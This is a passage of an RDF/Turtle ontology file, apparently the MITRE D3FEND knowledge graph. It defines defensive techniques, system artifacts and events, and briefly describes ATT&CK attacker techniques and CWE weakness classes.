    d3f:d3fend-id "D3-PHAM" ;
    d3f:definition "Monitoring the physical access of a specified environment through detection, recording, reviewing, and logging of who/what enters and exists areas." ;
    d3f:enables d3f:Detect ;
    d3f:kb-reference d3f:Reference-NIST-SP-800-53-R5 ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:Detect ],
        d3f:DefensiveTechnique .

d3f:PhysicalLinkEvent a owl:Class ;
    rdfs:label "Physical Link Event" ;
    d3f:definition "A discrete event that changes either the presence of the transmission medium or the operational state of a single-hop layer-1 link between two network nodes." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:PhysicalLink ],
        d3f:NetworkDeviceEvent .

d3f:ProcessEvent a owl:Class ;
    rdfs:label "Process Event" ;
    d3f:definition "An event capturing lifecycle transitions, interactions, or activities of computer processes, including their creation, termination, and inter-process communication." ;
    rdfs:seeAlso <https://schema.ocsf.io/1.3.0/classes/process_activity> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:Process ],
        d3f:DigitalEvent .

d3f:ProcessEviction a d3f:ProcessEviction,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Process Eviction" ;
    d3f:d3fend-id "D3-PE" ;
    d3f:definition "Process eviction techniques terminate or remove running process." ;
    d3f:enables d3f:Evict ;
    d3f:kb-reference d3f:Reference-MalwareDetectionUsingLocalComputationalModels_CrowdstrikeInc ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:Evict ],
        d3f:DefensiveTechnique .

d3f:ProcessSegmentExecutionPrevention a d3f:ProcessSegmentExecutionPrevention,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Process Segment Execution Prevention" ;
    d3f:d3fend-id "D3-PSEP" ;
    d3f:definition "Preventing execution of any address in a memory region other than the code segment." ;
    d3f:kb-article """## How it works

During execution of a process, the instruction pointer register should only point to addresses in a code segment (also called the .text segment), as this is the sole segment which should contain program code.

When this technique detects an attempt to execute something that has been designated as non-executable, other techniques such as those in **Process Eviction** might be invoked, such as **Process Termination** to end the current process, or **Executable Blacklisting** to blacklist the potentially vulnerable or malfunctioning executable.

### Software-based implementations
The software-based implementation in Windows XP SP2 might not check that every time the instruction pointer is changed, and does not check on each jump or return.  Before calling an exception handler, Windows XP SP2 software-enforced DEP checks whether the exception handler is located in a memory region marked as executable.  If the program was also built with SafeSEH, this implementation also checks before changing control to the exception handler whether it is a registered exception handler in the program's file on disk.

### Hardware-based implementations
The NX (No Execute) or XD (Execute Disable) bit on the processor specifies whether a certain part of memory is executable.  Early implementations set this bit by the memory segment, while modern implementations which are built on the flat memory model often store this bit in each entry of the page table, to control execution by the page.


## Considerations

Non-hardware process data segment execution prevention is more susceptible to being able to be turned off for a page of memory.

Different implementations of this defense have been in place since the 1980s, but implementation stalled when larger 16-bit programs began stuffing code in the segments usually reserved for data. Many modern programs follow the best practice of separation of code and data, are able to run under this defense.

ROP or ret2libc/return-to-function attacks could bypass this defense, as although they may pass attacker-controlled data or stack frames to a function, they abuse functions that are legitimately located in the .text segment (code segment) of the program.  For those, more advanced defenses such as a table of valid jump addresses, function call analysis, or return depth analysis could be used.""" ;
    d3f:kb-reference d3f:Reference-DataExecutionPrevention_Microsoft,
        d3f:Reference-WhatIsNX_XDFeature_RedHat ;
    d3f:neutralizes d3f:ProcessSegment ;
    d3f:synonym "Execute Disable",
        "No Execute" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:neutralizes ;
            owl:someValuesFrom d3f:ProcessSegment ],
        d3f:ApplicationHardening .

d3f:ProcessorRegister a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Processor Register" ;
    d3f:contained-by d3f:CentralProcessingUnit ;
    d3f:definition "A processor register is a quickly accessible location available to a computer's processor. Registers usually consist of a small amount of fast storage, although some registers have specific hardware functions, and may be read-only or write-only." ;
    rdfs:isDefinedBy <https://dbpedia.org/page/Processor_register> ;
    rdfs:seeAlso <https://www.techtarget.com/whatis/definition/register> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contained-by ;
            owl:someValuesFrom d3f:CentralProcessingUnit ],
        d3f:PrimaryStorage .

d3f:PublicKey a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Public Key" ;
    d3f:definition "A public key can be disseminated widely as part of an asymmetric cryptography framework and be used to encrypt messages to send to the public key's owner or to authenticate signed messages from that sender." ;
    d3f:depends-on d3f:PrivateKey ;
    rdfs:seeAlso <http://dbpedia.org/resource/Public-key_cryptography> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:depends-on ;
            owl:someValuesFrom d3f:PrivateKey ],
        d3f:AsymmetricKey .

d3f:RPCNetworkTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "RPC Network Traffic" ;
    d3f:definition "RPC network traffic is network traffic related to remote procedure calls between network nodes..This includes only network traffic conforming to a standard RPC protocol; not custom protocols." ;
    rdfs:subClassOf d3f:NetworkTraffic .

d3f:Reference-CatiaUAFPlugin a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Catia UAF Plugin" ;
    d3f:has-link "https://www.3ds.com/products-services/catia/products/no-magic/addons/uaf-plugin/"^^xsd:anyURI ;
    d3f:kb-abstract "MagicDraw offers the most robust standards compliant [Unified Architecture Framework (UAF)], DoDAF 2.0, MODAF 1.2, NAF 3, and NAF 4 via a UAF standardized solution. And what's more, No Magic fully supports all architectural framework products ensuring you achieve project results. No Magic also leads the industry in usability and interoprability, ensuring that you avoid unnecessary cost, schedule and performance risk." ;
    d3f:kb-organization "Dassault Systemes" ;
    d3f:kb-reference-of d3f:DataExchangeMapping,
        d3f:OperationalActivityMapping,
        d3f:OperationalDependencyMapping,
        d3f:OrganizationMapping,
        d3f:ServiceDependencyMapping,
        d3f:SystemDependencyMapping ;
    d3f:kb-reference-title "Catia UAF Plugin" .

d3f:Reference-SecurePLCCodingPracticesTop20List a d3f:GuidelineReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Secure PLC Coding Practices: Top 20 List" ;
    d3f:has-link "https://plc-security.com/"^^xsd:anyURI ;
    d3f:kb-abstract """The aim of this project is to provide guidelines to engineers that are creating software (ladder logic, function charts etc.) to help improve the security posture of Industrial Control Systems.

These practices leverage natively available functionality in the PLC/DCS. Little to no additional software tools or hardware is needed to implement these practices. They can all be fit into the normal PLC programming and operating workflow. More than security expertise, good knowledge of the PLCs to be protected, their logic, and the underlying process is needed for implementing these practices.

To fit the scope of the Top 20 Secure PLC Coding practices list, practices need to involve changes made directly to a PLC.""" ;
    d3f:kb-organization "PLC Security" ;
    d3f:kb-reference-of d3f:ApplicationExceptionMonitoring,
        d3f:ApplicationPerformanceMonitoring,
        d3f:OTVariableAccessRestriction,
        d3f:PlatformUptimeMonitoring ;
    d3f:kb-reference-title "Secure PLC Coding Practices: Top 20 List" .

d3f:RegressionAnalysisLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Regression Analysis Learning" ;
    d3f:d3fend-id "D3A-RAL" ;
    d3f:definition "Regression is used to understand the relationship between dependent and independent variables which is then used to make projections, such as for sales revenue for a given business." ;
    d3f:kb-article """## References
Supervised Learning. IBM. [Link](https://www.ibm.com/topics/supervised-learning).""" ;
    rdfs:subClassOf d3f:SupervisedLearning .

d3f:RestoreObject a d3f:RestoreObject,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Restore Object" ;
    d3f:d3fend-id "D3-RO" ;
    d3f:definition "Restoring an object for an entity to access. This is the broadest class for object restoral." ;
    d3f:enables d3f:Restore ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:Restore ],
        d3f:DefensiveTechnique .

d3f:SMBEvent a owl:Class ;
    rdfs:label "SMB Event" ;
    d3f:definition "An event involving the Server Message Block (SMB) protocol, a network file sharing protocol that allows client-server communication for accessing files, printers, and other shared network resources. SMB supports both transactional file operations and communication over reliable transport layers." ;
    rdfs:seeAlso <https://schema.ocsf.io/1.3.0/classes/smb_activity> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:FileTransferNetworkTraffic ],
        d3f:ApplicationLayerEvent,
        d3f:TCPEvent .

d3f:SPARTAImpactTechnique a owl:Class ;
    rdfs:label "Impact Technique - SPARTA" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:ST0009 ],
        d3f:SPARTATechnique ;
    skos:prefLabel "Impact Technique" .

d3f:SSHEvent a owl:Class ;
    rdfs:label "SSH Event" ;
    d3f:definition "An event involving the Secure Shell (SSH) protocol, a cryptographic network protocol designed to provide secure remote login, command execution, and data transfer. SSH facilitates encrypted communication between clients and servers, ensuring confidentiality, integrity, and authenticity." ;
    rdfs:seeAlso <https://schema.ocsf.io/1.3.0/classes/ssh_activity> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:SSHSession ],
        d3f:ApplicationLayerEvent,
        d3f:TCPEvent .

d3f:ScheduledJobEvent a owl:Class ;
    rdfs:label "Scheduled Job Event" ;
    d3f:definition "An event capturing the lifecycle or management of scheduled tasks within a system, including creation, modification, execution, or removal." ;
    rdfs:seeAlso <https://schema.ocsf.io/1.3.0/classes/scheduled_job_activity> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:ScheduledJob ],
        d3f:DigitalEvent .

d3f:Sensor a owl:Class ;
    rdfs:label "Sensor" ;
    d3f:definition "In the broadest definition, a sensor is a device, module, machine, or subsystem that detects events or changes in its environment and sends the information to other electronics, frequently a computer." ;
    rdfs:seeAlso <https://en.wikipedia.org/wiki/Sensor> ;
    rdfs:subClassOf d3f:D3FENDCore,
        d3f:DigitalInformationBearer .

d3f:Session a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Session" ;
    d3f:definition "In computer science, in particular networking, a session is a semi-permanent interactive information interchange, also known as a dialogue, a conversation or a meeting, between two or more communicating devices, or between a computer and user (see Login session). A session is set up or established at a certain point in time, and then torn down at some later point. An established communication session may involve more than one message in each direction. A session is typically, but not always, stateful, meaning that at least one of the communicating parts needs to save information about the session history in order to be able to communicate, as opposed to stateless communication, where the communication consists of independent requests with responses." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Session_(computer_science)> ;
    rdfs:seeAlso <https://schema.ocsf.io/objects/session> ;
    rdfs:subClassOf d3f:DigitalInformationBearer .

d3f:SetSystemConfigValue a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Set System Config Value" ;
    d3f:modifies d3f:SystemConfigurationDatabaseRecord ;
    rdfs:seeAlso <https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regsetvalueexa> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:SystemConfigurationDatabaseRecord ],
        d3f:SystemConfigSystemCall .

d3f:StatisticalMethod a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Statistical Method" ;
    d3f:d3fend-id "D3A-SM" ;
    d3f:definition "Building methods using the mathematical study of the likelihood and probability of events occurring based on known information and inferred by taking a limited number of samples." ;
    d3f:kb-article """## References
Wolfram MathWorld. (n.d.). Statistics. [Link](https://mathworld.wolfram.com/Statistics.html)""" ;
    rdfs:subClassOf d3f:AnalyticTechnique .

d3f:SystemConfigurationInitDatabaseRecord a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Configuration Init Database Record" ;
    d3f:definition "A database record holding information used to configure the services, parameters, and initial settings for an operating system at startup." ;
    rdfs:subClassOf d3f:SystemConfigurationDatabaseRecord,
        d3f:SystemConfigurationInitResource,
        d3f:SystemInitConfiguration ;
    skos:altLabel "System Configuration Startup Database Record" .

d3f:SystemFirmware a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Firmware" ;
    d3f:definition "Firmware that is installed on a computer's main board which manages the initial boot process. It can also continue to run or function after the operating system boots." ;
    rdfs:subClassOf d3f:Firmware ;
    skos:altLabel "BIOS Firmware",
        "UEFI Firmware" .

d3f:T1137 a owl:Class ;
    rdfs:label "Office Application Startup" ;
    d3f:attack-id "T1137" ;
    d3f:definition "Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins." ;
    rdfs:subClassOf d3f:PersistenceTechnique .

d3f:T1505 a owl:Class ;
    rdfs:label "Server Software Component" ;
    d3f:attack-id "T1505" ;
    d3f:definition "Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.(Citation: volexity_0day_sophos_FW)" ;
    rdfs:subClassOf d3f:PersistenceTechnique .

d3f:T1548 a owl:Class ;
    rdfs:label "Abuse Elevation Control Mechanism" ;
    d3f:attack-id "T1548" ;
    d3f:definition "Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk.(Citation: TechNet How UAC Works)(Citation: sudo man page 2018) An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.(Citation: OSX Keydnap malware)(Citation: Fortinet Fareit)" ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:PrivilegeEscalationTechnique .

d3f:T1553 a owl:Class ;
    rdfs:label "Subvert Trust Controls" ;
    d3f:attack-id "T1553" ;
    d3f:definition "Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site." ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique .

d3f:T1555 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Credentials from Password Stores" ;
    d3f:accesses d3f:PasswordStore ;
    d3f:attack-id "T1555" ;
    d3f:definition "Adversaries may search for common password storage locations to obtain user credentials.(Citation: F-Secure The Dukes) Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information." ;
    d3f:may-access d3f:DatabaseFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:PasswordStore ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-access ;
            owl:someValuesFrom d3f:DatabaseFile ],
        d3f:CredentialAccessTechnique .

d3f:T1590 a owl:Class ;
    rdfs:label "Gather Victim Network Information" ;
    d3f:attack-id "T1590" ;
    d3f:definition "Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations." ;
    rdfs:subClassOf d3f:ReconnaissanceTechnique .

d3f:T1608 a owl:Class ;
    rdfs:label "Stage Capabilities" ;
    d3f:attack-id "T1608" ;
    d3f:definition "Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.(Citation: Volexity Ocean Lotus November 2020)(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)" ;
    rdfs:subClassOf d3f:ResourceDevelopmentTechnique .

d3f:TransferAgentAuthentication a d3f:TransferAgentAuthentication,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Transfer Agent Authentication" ;
    d3f:d3fend-id "D3-TAAN" ;
    d3f:definition "Validating that server components of a messaging infrastructure are authorized to send a particular message." ;
    d3f:kb-article """## How it works
Transfer Agent Authentication can be accomplished in different ways for depending on the protocol. In Email, Sender Policy Framework (SPF), Domain Key Identified Email (DKIM) or Domain-based Message Authentication Reporting and Conformance (DMARC) are used to validate sender domain ownership.

### SPF
SPF protocol allows for mail domain owners to specify the mail servers they use when sending email. SPF requires the use of SPF records published in the Domain Name System (DNS). The records record the authorized IPs for email senders. SPF uses the return-path address for domain IP identification. Email that is forwarded may cause the return-path validation problems.
### DKIM
DKIM also uses a record entry in DNS for authentication but does not rely on the simple return-path for validation. A signature header is added to email and encryption is used for security. This adds an additional layer of complexity and requires that DKIM servers be configured identified cryptographic signatures. The additional complexity results in a validation process that can survive complex routing of emails.

### DMARC
DMARC is an email policy and authentication protocol that seeks to ensure that the "From" field of emails is not spoofed. DMARC makes use of both SPF records and DKIM published key validation. DMARC also has a decision policy framework, contained in a DMARC record, for handling of rejected email. The DMARC framework also updates DMARC domains with authentication statues for allowed senders of that domain.

## Considerations
- Additional work is required to ensure that all SPF, DKIM and DMARC records are current and up to date.
- Maintenance of DKIM signing keys is needed.
- Using SPF without DKIM and DMARC verifies the Return-Path domain however does not prevent spoofing of the displayed From: address.
- Parts of an email that are not signed or verified by email authentication methods, such as the message body or the header To: and Subject: fields, can be altered or modified.
- Email message authentication does not replace the need to do email content analysis since executables, attachments, or links or other parts of the email beyond the sender domain are not verified.""" ;
    d3f:kb-reference d3f:Reference-DomainKeysIdentifiedMail-Signatures-IETF,
        d3f:Reference-RFC7208-SenderPolicyFramework-SPF-ForAuthorizingUseOfDomainsInEmail-IETF,
        d3f:Reference-RFC7489-Domain-basedMessageAuthentication-Reporting-AndConformance-DMARC ;
    rdfs:subClassOf d3f:MessageHardening .

d3f:UserDataTransferAnalysis a d3f:UserDataTransferAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "User Data Transfer Analysis" ;
    d3f:analyzes d3f:ResourceAccess ;
    d3f:d3fend-id "D3-UDTA" ;
    d3f:definition "Analyzing the amount of data transferred by a user." ;
    d3f:kb-article """## How it works
Unusual data transfer activity may indicate unauthorized activity. Data transfers can be analyzed by collecting network traffic or application logs.

## Considerations
* There is a potential for false positives from anomalies that are not associated with unauthorized activity.
* Attackers that move low and slow may not differentiate their data transfer behavior enough for an alert to trigger.""" ;
    d3f:kb-reference d3f:Reference-SystemAndMethodThereofForIdentifyingAndRespondingToSecurityIncidentsBasedOnPreemptiveForensics_PaloAltoNetworksInc,
        d3f:Reference-SystemForImplementingThreatDetectionUsingThreatAndRiskAssessmentOfAsset-actorInteractions_VECTRANETWORKSInc ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:ResourceAccess ],
        d3f:UserBehaviorAnalysis .

d3f:UserInitConfigurationFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "User Init Configuration File" ;
    d3f:definition "A user initialization configuration file is a file containing the information necessary to configure that part of a user's environment which is common to all applications and actions. User configurations may be overridden by more specific configuration information (such as that found in a application configuration file.)" ;
    rdfs:subClassOf d3f:ConfigurationFile,
        d3f:UserLogonInitResource ;
    skos:altLabel "User Configuration File" .

d3f:UserLogonInitResource a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "User Logon Init Resource" ;
    d3f:definition "A user logon initialization resource contains information used to configure a user's environment when a user logs into a system." ;
    rdfs:subClassOf d3f:LocalResource .

d3f:UserStartupScriptFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "User Startup Script File" ;
    d3f:definition "A user startup script file is a shortcut file that is executed when a user logs in and starts a session on the host.  These indicate applications the user wants started at login.  For Windows, these are typically found in the user's startup directory." ;
    rdfs:subClassOf d3f:ExecutableScript,
        d3f:UserLogonInitResource .

d3f:Variability a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Variability" ;
    d3f:d3fend-id "D3A-VAR" ;
    d3f:definition "Dispersion (also called variability, scatter, or spread) is the extent to which a distribution is stretched or squeezed. A measure of statistical dispersion is a nonnegative real number that is zero if all the data are the same and increases as the data become more diverse." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Statistical dispersion. [Link](https://en.wikipedia.org/wiki/Statistical_dispersion)""" ;
    rdfs:subClassOf d3f:DescriptiveStatistics .

d3f:Volume a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Volume" ;
    d3f:definition "In the context of computer operating systems, a volume or logical drive is a single accessible storage area with a single file system, typically (though not necessarily) resident on a single partition of a hard disk. Although a volume might be different from a physical disk drive, it can still be accessed with an operating system's logical interface. However, a volume differs from a partition." ;
    rdfs:subClassOf d3f:DigitalInformationBearer ;
    skos:altLabel "Drive Volume",
        "Logical Drive" .

d3f:WebSessionActivityAnalysis a d3f:WebSessionActivityAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Web Session Activity Analysis" ;
    d3f:analyzes d3f:WebResourceAccess ;
    d3f:d3fend-id "D3-WSAA" ;
    d3f:definition "Monitoring changes in user web session behavior by comparing current web session activity to a baseline behavior profile or a catalog of predetermined malicious behavior." ;
    d3f:kb-article """## How it works
User web session data is collected over a period of time to create a user behavior profile. Data collected includes clicks made on a website, average time between clicks, filling out web forms, order in which pages are viewed, and downloading files. Current user web session behavior is then compared against the use behavior profile to identify anomalies and a likelihood that the current user web session is malicious. Current user web session behavior can also be compared to predetermined known malicious behavior profiles that are developed through analysis of malware in run time at a threat research facility.

## Considerations
* Potential for false positives from anomalies that are not associated with malicious activity.
* Attackers may not differentiate their web session activity enough to trigger an alert.""" ;
    d3f:kb-reference d3f:Reference-HostIntrusionPreventionSystemUsingSoftwareAndUserBehaviorAnalysis_SophosLtd,
        d3f:Reference-SystemAndMethodForDetectionOfAChangeInBehaviorInTheUseOfAWebsiteThroughVectorVelocityAnalysis_SilverTailSystems,
        d3f:Reference-SystemAndMethodForNetworkSecurityIncludingDetectionOfAttacksThroughPartnerWebsites_EMCIPHoldingCoLLC,
        d3f:Reference-SystemAndMethodThereofForIdentifyingAndRespondingToSecurityIncidentsBasedOnPreemptiveForensics_PaloAltoNetworksInc ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:WebResourceAccess ],
        d3f:UserBehaviorAnalysis .

d3f:WindowsNtProtectVirtualMemory a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows NtProtectVirtualMemory" ;
    rdfs:seeAlso <https://www.delphibasics.info/home/delphibasicssnippets/nativewriteprocessmemoryapireplacement> ;
    rdfs:subClassOf d3f:OSAPIAllocateMemory .

d3f:WindowsRegistryKeyCreationEvent a owl:Class ;
    rdfs:label "Windows Registry Key Creation Event" ;
    d3f:definition "An event where a new registry key is added to the Windows Registry, establishing a new hierarchical node for configuration." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:WindowsRegistryKeyImportEvent ],
        d3f:WindowsRegistryKeyEvent .

d3f:copies a owl:ObjectProperty ;
    rdfs:label "copies" ;
    d3f:definition "x copies y: An technique or agent x reproduces or makes and exact copy of some digital artifact y." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/01738810-v> ;
    rdfs:subPropertyOf d3f:creates .

d3f:d3fend-kb-object-property a owl:ObjectProperty ;
    rdfs:label "d3fend-kb-object-property" ;
    d3f:definition "x d3fend-kb-object-property y: The object y is a d3fend knowledge base object property. These properties allow the linkage of knowledge and information supporting and illustrating the d3fend model." ;
    rdfs:subPropertyOf d3f:d3fend-object-property .

d3f:d3fend-object-property a owl:ObjectProperty ;
    rdfs:label "d3fend-object-property" .

d3f:evaluates a owl:ObjectProperty ;
    rdfs:label "evaluates" ;
    d3f:definition "x evaluates y: The entity x systematically assesses entity y to judge its state, quality, or risk." ;
    rdfs:subPropertyOf d3f:associated-with,
        d3f:may-evaluate .

d3f:evicts a owl:ObjectProperty ;
    rdfs:label "evicts" ;
    d3f:definition "x evicts y: The entity x forcibly removes entity y from the environment or resource where y was residing." ;
    rdfs:subPropertyOf d3f:counters,
        d3f:d3fend-tactical-verb-property,
        d3f:may-evict .

d3f:instructs a owl:ObjectProperty ;
    rdfs:label "instructs" ;
    d3f:definition "x instructs y: A subject x delivers machine instructions to object y." ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:records a owl:ObjectProperty ;
    rdfs:label "records" ;
    d3f:definition "x records y: The digital artifact x makes a record of events y; set down in permanent form." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/01002259-v> ;
    rdfs:seeAlso <http://wordnet-rdf.princeton.edu/id/01003181-v> ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:ATLASImpactTechnique a owl:Class ;
    rdfs:label "Impact Technique - ATLAS" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:AML.TA0011 ],
        d3f:ATLASTechnique ;
    skos:prefLabel "Impact Technique" .

d3f:ATLASInitialAccessTechnique a owl:Class ;
    rdfs:label "Initial Access Technique - ATLAS" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:AML.TA0004 ],
        d3f:ATLASTechnique ;
    skos:prefLabel "Initial Access Technique" .

d3f:ATLASPersistenceTechnique a owl:Class ;
    rdfs:label "Persistence Technique - ATLAS" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:AML.TA0006 ],
        d3f:ATLASTechnique ;
    skos:prefLabel "Persistence Technique" .

d3f:ATTACKICSEvasionTechnique a owl:Class ;
    rdfs:label "Evasion Technique - ATTACK ICS" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0103 ],
        d3f:ATTACKICSTechnique ;
    skos:prefLabel "Evasion Technique" .

d3f:ATTACKICSImpairProcessControlTechnique a owl:Class ;
    rdfs:label "Impair Process Control Technique - ATTACK ICS" ;
    d3f:definition "The adversary is trying to manipulate, disable, or damage physical control processes." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0106 ],
        d3f:ATTACKICSTechnique ;
    skos:prefLabel "Impair Process Control Technique" .

d3f:AdministrativeNetworkTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Administrative Network Traffic" ;
    d3f:definition "Administrative network traffic is network traffic related to the remote administration or control of hosts or devices through a standard remote administrative protocol.  Remote shells, terminals, RDP, and VNC are examples of these protocols, which are typically only used by administrators." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Remote_administration> ;
    rdfs:subClassOf d3f:NetworkTraffic .

d3f:AssetInventory a d3f:AssetInventory,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Asset Inventory" ;
    d3f:d3fend-id "D3-AI" ;
    d3f:definition "Asset inventorying identifies and records the organization's assets and enriches each inventory item with knowledge about their vulnerabilities." ;
    d3f:display-order 1 ;
    d3f:enables d3f:Model ;
    d3f:synonym "Asset Discovery",
        "Asset Inventorying" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:Model ],
        d3f:DefensiveTechnique .

d3f:CWE-1173 a owl:Class ;
    rdfs:label "Improper Use of Validation Framework" ;
    d3f:cwe-id "CWE-1173" ;
    d3f:definition "The product does not use, or incorrectly uses, an input validation framework that is provided by the source language or an independent library." ;
    rdfs:subClassOf d3f:CWE-20 .

d3f:CWE-221 a owl:Class ;
    rdfs:label "Information Loss or Omission" ;
    d3f:cwe-id "CWE-221" ;
    d3f:definition "The product does not record, or improperly records, security-relevant information that leads to an incorrect decision or hampers later analysis." ;
    rdfs:subClassOf d3f:CWE-664 .

d3f:CWE-228 a owl:Class ;
    rdfs:label "Improper Handling of Syntactically Invalid Structure" ;
    d3f:cwe-id "CWE-228" ;
    d3f:definition "The product does not handle or incorrectly handles input that is not syntactically well-formed with respect to the associated specification." ;
    rdfs:subClassOf d3f:CWE-703,
        d3f:CWE-707 .

d3f:CWE-312 a owl:Class ;
    rdfs:label "Cleartext Storage of Sensitive Information" ;
    d3f:cwe-id "CWE-312" ;
    d3f:definition "The product stores sensitive information in cleartext within a resource that might be accessible to another control sphere." ;
    rdfs:subClassOf d3f:CWE-311,
        d3f:CWE-922 .

d3f:CWE-400 a owl:Class ;
    rdfs:label "Uncontrolled Resource Consumption" ;
    d3f:cwe-id "CWE-400" ;
    d3f:definition "The product does not properly control the allocation and maintenance of a limited resource." ;
    d3f:synonym "Resource Exhaustion" ;
    rdfs:subClassOf d3f:CWE-664 .

d3f:CWE-436 a owl:Class ;
    rdfs:label "Interpretation Conflict" ;
    d3f:cwe-id "CWE-436" ;
    d3f:definition "Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state." ;
    rdfs:subClassOf d3f:CWE-435 .

d3f:CWE-610 a owl:Class ;
